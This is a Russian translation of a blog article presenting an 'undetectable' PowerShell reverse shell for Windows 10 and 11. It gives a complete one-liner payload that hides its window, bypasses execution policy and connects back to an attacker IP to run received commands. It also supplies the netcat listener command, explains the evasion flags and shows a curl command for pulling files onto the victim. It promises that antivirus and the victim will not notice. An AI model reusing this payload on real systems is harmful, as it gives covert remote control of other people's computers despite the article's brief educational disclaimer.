Перевод: Необнаруживаемый reverse shell в Windows 11

Перевод: Необнаруживаемый reverse shell в Windows 11

@Ent_TranslateIB

Привет всем, меня зовут Диего Теллароли, и в сегодняшней статье речь пойдет о необнаруживаемом reverse shell для Windows 10 и Windows 11. Это простой reverse shell в Powershell, который, будучи запущенным на машине жертвы, позволяет выполнить код удаленно, после чего вы получаете полный доступ к компьютеру жертвы и можете делать все, что захотите. Данная статья предназначена исключительно для исследовательских и образовательных целей. Я не несу никакой ответственности за действия, предпринятые читателями этой статьи.

Хорошо, но что такое Reverse shell?

Reverse shell - это сеанс командной строки, установленный на соединении, которое инициировано с удаленной машины, а не с хоста атакующего. Злоумышленники, успешно использующие уязвимость удаленного выполнения команд, могут использовать reverse shell для получения интерактивного сеанса оболочки на целевой машине и продолжить атаку. Reverse shell также могут работать через NAT или брандмауэр.

Демонстрация Reverse shell от Techslang

Целевая машина открывает сеанс связи с определенным хостом и портом. Если удаленный хост прослушивает этот порт с помощью соответствующего программного обеспечения, может быть создано соединение shell. Важно отметить, что инициирование осуществляется целевой машиной, а не удаленным узлом.

Reverse shell, продемонстрированный в этой статье, не обнаруживается ни одним антивирусом, то есть, как только соединение установлено, ни один антивирус не обнаруживает ничего плохого, и даже жертва не может заметить никакой разницы (если только в сети нет какого-нибудь сниффера, что маловероятно для простых пользователей).

ХОРОШО. Теперь, когда мы знаем, что такое Reverse Shell и как он работает, давайте начнем. Если у вас есть какая-либо форма выполнения кода на машине с Windows 10 или Windows 11 (удаленной или нет), вы можете использовать следующую полезную нагрузку:

powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('YOUR_IP', PORT);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"

Где YOUR_IP - IP атакующей машины, а PORT - порт прослушивания. Вы можете запустить приведенную выше полезную нагрузку на машине жертвы, например, в командной строке или в уязвимости RCE, чтобы получить обратное соединение и таким образом сделать свой reverse shell необнаруживаемым.

Объяснение полезной нагрузки:

Код reverse shell находится в powershell. Команда powershell открывает интерпретатор powershell в командной строке, что позволяет выполнить код reverse shell. -nop - no profile означает, что профиль powershell не загружается. -W hidden задает стиль окна для сессии, в данном случае скрытый, чтобы избежать обнаружения. -noni используется для создания сессий, которые не должны требовать ввода данных пользователем, это наш случай. -ep обход политики выполнения служит для предотвращения непреднамеренного выполнения скриптов powershell. Чтобы обойти политику выполнения, мы можем установить значение политики выполнения как "bypass". Это не будет блокировать выполнение сценария reverse shell. -c - это код обратной оболочки powershell. Он подключается к нашей машине и предоставляет нам reverse shell.

Теперь, когда мы поняли, как работает полезная нагрузка, давайте приступим к практике!

На атакующей машине мы начинаем прослушивать порт 2222 с помощью netcat.

nc -vnlp 2222

Netcat - это сетевая программа, предназначенная для чтения и записи данных через TCP и UDP соединения с использованием набора протоколов IP. Если вы ее не знаете, я рекомендую сначала изучить ее, а затем вернуться сюда.

Теперь, когда мы прослушиваем порт 2222, мы запустим полезную нагрузку на целевой машине. Поскольку цель этой статьи - изучение и исследование, я буду запускать полезную нагрузку из командной строки виртуальной машины в качестве примера в контролируемой среде. Помните, что никогда не запускайте этот или любой другой вредоносный код на машинах, на которые у вас нет разрешения.

Выполнение полезной нагрузки в CMD для целей тестирования

После запуска полезной нагрузки мы получаем соединение с reverse shell.

Теперь мы можем выполнить любую команду. Популярные антивирусы не обнаруживают этот reverse shell, и вы можете делать все, что хотите, на целевой машине.

Таким образом, мы имеем reverse shell, не обнаруживаемую антивирусами и очень трудно обнаруживаемую обычными пользователями.

БОНУС

С помощью нашего reverse shell мы можем загружать файлы с любого веб-сервера, используя только curl. Curl установлен по умолчанию в Windows 10 и Windows 11, мы можем использовать его для загрузки любого файла с любого веб-сервера.

curl http://example.com/file.exe -o example.exe

С помощью приведенной выше команды в текущую папку загружается файл http://example.com/file.exe с именем example.exe.

Пример

Вы дошли до конца! Надеюсь, вам понравилась эта статья и вы узнали что-то новое! Любые вопросы, которые у вас есть, вы можете задать в комментариях, я отвечу на них как можно скорее. Помните, используйте эти знания ответственно и только в контролируемой среде. Продолжайте учиться, продолжайте взламывать!

Оригинал статьи - здесь.
Поддержите автора хлопками на Medium.


Перевод статьи был выполнен проектом перевод энтузиаста:

  • 📚 @Ent_TranslateIB - Телеграмм канал с тематикой информационной безопасности
  • 🔥 @Ent_Translate - Инстаграм проекта

Report Page